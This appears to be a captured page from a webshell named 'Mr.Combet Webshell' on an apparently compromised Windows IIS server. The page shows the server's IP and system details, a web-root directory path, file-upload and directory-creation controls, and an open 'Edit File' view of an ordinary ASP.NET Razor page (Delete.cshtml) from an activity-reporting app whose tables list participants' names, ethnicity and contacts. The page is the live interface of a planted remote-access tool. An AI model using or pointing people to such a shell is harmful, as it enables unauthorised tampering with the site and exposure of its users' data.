Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
ActivityReporting
/
Edit File Name :
Delete.cshtml
@model RER_Project.DataAccess.ViewModels.Activity.ActivityReportingViewModel <style> .btn { border-radius: 0px; } .select2-selection .select2-selection--multiple { border-radius: 0px !important; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid #f5f5f5 1px !important; outline: 0; } .s { height: 20px; overflow-y: scroll } </style> <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Edit Activity/Event</strong> </li> </ol> </div> </div> <div id="pop-up-div" class="modal fade" role="dialog"> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <ul class="nav nav-tabs"> <li class="active"><a data-toggle="tab" href="#Activity">Event/Activity</a></li> <li><a data-toggle="tab" href="#PM">Registered Member</a></li> <li><a data-toggle="tab" href="#PO">Other Member</a></li> </ul> <div class="tab-content"> <div id="Activity" class="tab-pane fade in active"> <form name="CreateForm"> <input type="hidden" id="ActivityReportingId" name="ActivityReportingId" value="@Model.ActivityReportingId" /> <br /> <div class="row"> <div class="form-group col-md-6"> <label>Fiscal Year</label> <select class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="@Model.ActivityReporting.FiscalYearId" disabled=""></select> </div> </div> <div class="row"> <div class="col-md-6"> <label>Activity No</label> @* <input type="text" class="form-control" name="ActivityNo" placeholder="Activity No" value="@Model.ActivityReporting.ActivityNo" disabled=""/>*@ </div> <div class="form-group col-md-6"> <label>Event Name</label> <select class="form-control required" name="ActivityId" id="ActivityId" data-api="/activity/select" data-api-selected-value="@Model.ActivityReporting.ActivityId" disabled=""></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Start Date</label> <input type="date" class="form-control required" id="StartDate" name="StartDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.StartDate.Date)" disabled=""/> </div> <div class="form-group col-md-6"> <label>End Date</label> <input type="date" class="form-control required" id="EndDate" name="EndDate" value="@string.Format("{0:yyyy-MM-dd}", Model.ActivityReporting.EndDate.Date)" disabled=""/> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Commodity(If applicable)</label> <select class="form-control" name="CommodityId" id="CommodityId" data-api="/commodity/select" data-api-selected-value="@Model.ActivityReporting.CommodityId" disabled=""></select> </div> <div class="col-md-6"> <label>Component No</label> @* <input type="number" class="form-control" name="ComponentNo" placeholder="Component No" value="@Model.ActivityReporting.ComponentNo" readonly/>*@ </div> </div> <div class="row"> <div class="col-md-6"> <label>Planned Budget</label> <input type="number" class="form-control" name="PlannedBudget" placeholder="Planned Budget" value="@Model.ActivityReporting.PlannedBudget" readonly/> </div> <div class="col-md-6"> <label>Actual Expense</label> <input type="number" class="form-control" name="ActualExpense" placeholder="Actual Expense" value="@Model.ActivityReporting.ActualExpense" readonly/> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Province</label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates" data-api-selected-value="@Model.ActivityReporting.ProvinceId" disabled=""></select> </div> <div class="form-group col-md-6"> <label>District</label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" data-api-selected-value="@Model.ActivityReporting.DistrictId" disabled=""></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label>Municipality</label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" data-api-selected-value="@Model.ActivityReporting.MunicipalityId" disabled=""></select> </div> <div class="col-md-6"> <label>In cordination Of(If Any)</label> <input type="text" class="form-control" name="InCoordinationOf" placeholder="In Coordination Of" value="@Model.ActivityReporting.InCoordinationOf" readonly/> </div> </div> <div class="row"> <div class="col-md-6"> <label>Facilitator</label> <input type="text" class="form-control" name="Facilitator" placeholder="Facilitator" value="@Model.ActivityReporting.Facilitator" readonly/> </div> <div class="col-md-6"> <label>Objectives</label> <textarea name="Objectives" id="Objectives" maxlength="1000" class="form-control required" placeholder="Objectives" readonly>@Model.ActivityReporting.Objectives</textarea> </div> </div> <div class="row"> <div class="col-md-6"> <label>Details Of Activity</label> <textarea name="DetailsOfActivity" id="DetailsOfActivity" maxlength="1000" class="form-control required" placeholder="Details Of Activity" readonly>@Model.ActivityReporting.DetailsOfActivity</textarea> </div> <div class="col-md-6"> <label>Output</label> <textarea name="Output" id="Output" maxlength="1000" class="form-control required" placeholder="Output" readonly>@Model.ActivityReporting.Output</textarea> </div> </div> <div class="row"> <div class="col-md-6"> <label>Issues/Challenges Identified</label> <textarea name="IssuesIdentified" id="IssuesIdentified" maxlength="1000" class="form-control required" placeholder="Issues Identified" readonly>@Model.ActivityReporting.IssuesIdentified</textarea> </div> <div class="col-md-6"> <label>Recommendation</label> <textarea name="Recommendation" id="Recommendation" maxlength="1000" class="form-control required" placeholder="Recommendation" readonly>@Model.ActivityReporting.Recommendation</textarea> </div> </div> <div class="row"> <div class="col-md-6"> <label> <input type="checkbox" id="MetObjectives" name="MetObjectives" value="@(Model.ActivityReporting.MetObjectives ? "true" : "false")" onchange="$(this).val(this.checked)" @(Model.ActivityReporting.MetObjectives ? "checked=checked" : "") disabled=""/> Did This Event Met its Objectives? </label> </div> </div> </form> </div> <div id="PM" class="tab-pane fade"> <form id="tpm"> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPMember" name="tblPMember"> <thead> <tr> <th>Group</th> <th>Member Name </th> <th>Age</th> <th>Ethnicity</th> <th>Gender</th> <th>Contact</th> </tr> </thead> <tbody> @foreach (var item in Model.ActivityParticipantViewList.Where(x => x.MemberId != null && x.MemberId != 0)) { <tr> <td><input type="hidden" name="GroupId" value="@item.GroupId" />@item.GroupName</td> <td><input type="hidden" name="MemberId" value="@item.MemberId" />@String.Concat(item.FirstName, ' ', item.LastName)</td> <td>@item.Age</td> <td><input type="hidden" name="EthnicityId" value="@item.EthnicityId" />@item.Ethnicity</td> <td>@item.Gender</td> <td>@item.ContactNo</td> </tr> } </tbody> </table> </div> </div> </div> </form> </div> <div id="PO" class="tab-pane fade"> <form id="tpo"> <div class="row"> <div class="form-group col-md-12"> <div class="table-responsive" style="margin-top:16px;"> <table class="footable table table-hover" id="tblPOther"> <thead> <tr> <th>Male</th> <th>Female</th> <th>Dalit</th> <th>Janjati</th> <th>Madhesi</th> <th>Muslim</th> <th>Others</th> </tr> </thead> <tbody> </tbody> </table> </div> </div> </div> </form> <div class="row"> <div class="pull-right"> <a onclick="submitReport(@Model.ActivityReportingId)" title="Delete" class="btn btn-sm btn-primary">Delete</a> <a href="/activities/reporting" class="btn btn-default btn-sm">Back</a> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script> $(document).ready(function () { window.initializeSelectApis(); }); function submitReport(reportId) { debugger; function request() { const url = "/activities/report/delete"; const data = JSON.stringify({ 'reportId': reportId }); return window.getAjaxRequest(url, "POST", data); } if (!window.confirmAction()) { return; } WorkForce.loader.show(); const ajax = request(); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/activityreporting/reporting"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); } </script>
Save